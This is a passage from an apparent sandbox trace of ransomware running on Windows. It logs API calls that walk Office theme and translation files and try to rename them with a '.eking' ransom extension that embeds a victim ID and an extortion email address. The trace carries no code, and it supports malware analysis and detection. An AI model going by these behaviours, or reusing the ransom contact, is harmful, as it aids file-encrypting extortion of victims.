(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm")) returned 0x20 [0174.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm")) returned 0x20 [0174.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.901] SetEvent (hEvent=0x174) returned 1 [0174.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.901] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=444) returned 1 [0174.902] CloseHandle (hObject=0x1e8) returned 1 [0174.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf")) returned 0x20 [0174.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf")) returned 0x20 [0174.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.903] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=29305) returned 1 [0174.903] CloseHandle (hObject=0x1e8) returned 1 [0174.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0174.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0174.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.909] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1009) returned 1 [0174.909] CloseHandle (hObject=0x1e8) returned 1 [0174.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0174.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0174.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.910] SetEvent (hEvent=0x174) returned 1 [0174.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.910] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=85056) returned 1 [0174.910] CloseHandle (hObject=0x1e8) returned 1 [0174.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm")) returned 0x20 [0174.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm")) returned 0x20 [0174.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0174.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.343] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=500) returned 1 [0175.343] CloseHandle (hObject=0x1e4) returned 1 [0175.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf")) returned 0x20 [0175.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf")) returned 0x20 [0175.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.836] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2668) returned 1 [0175.836] CloseHandle (hObject=0x1e8) returned 1 [0175.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0175.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0175.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.837] SetEvent (hEvent=0x174) returned 1 [0175.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.837] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=42453) returned 1 [0175.837] CloseHandle (hObject=0x1e8) returned 1 [0175.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0175.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0175.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.022] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=65996) returned 1 [0176.022] CloseHandle (hObject=0x1f0) returned 1 [0176.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm")) returned 0x20 [0176.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm")) returned 0x20 [0176.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.023] SetEvent (hEvent=0x174) returned 1 [0176.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.025] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1571) returned 1 [0176.025] CloseHandle (hObject=0x1f0) returned 1 [0176.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0176.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0176.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.026] SetEvent (hEvent=0x174) returned 1 [0176.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.028] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=30170) returned 1 [0176.028] CloseHandle (hObject=0x1f0) returned 1 [0176.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0176.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0176.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.029] SetEvent (hEvent=0x174) returned 1 [0176.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.030] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=49094) returned 1 [0176.030] CloseHandle (hObject=0x1f0) returned 1 [0176.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm")) returned 0x20 [0176.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm")) returned 0x20 [0176.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.032] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=683) returned 1 [0176.032] CloseHandle (hObject=0x1f0) returned 1 [0176.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf")) returned 0x20 [0176.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf")) returned 0x20 [0176.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.033] SetEvent (hEvent=0x174) returned 1 [0176.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.035] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1658904) returned 1 [0176.035] CloseHandle (hObject=0x1f0) returned 1 [0176.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0x20 [0176.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0176.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0 [0176.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.036] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=978206) returned 1 [0176.036] CloseHandle (hObject=0x1f0) returned 1 [0176.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its")) returned 0x20 [0176.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its")) returned 0x20 [0176.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0176.038] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=943322) returned 1 [0176.038] CloseHandle (hObject=0x1f0) returned 1 [0176.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its")) returned 0x20 [0176.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: 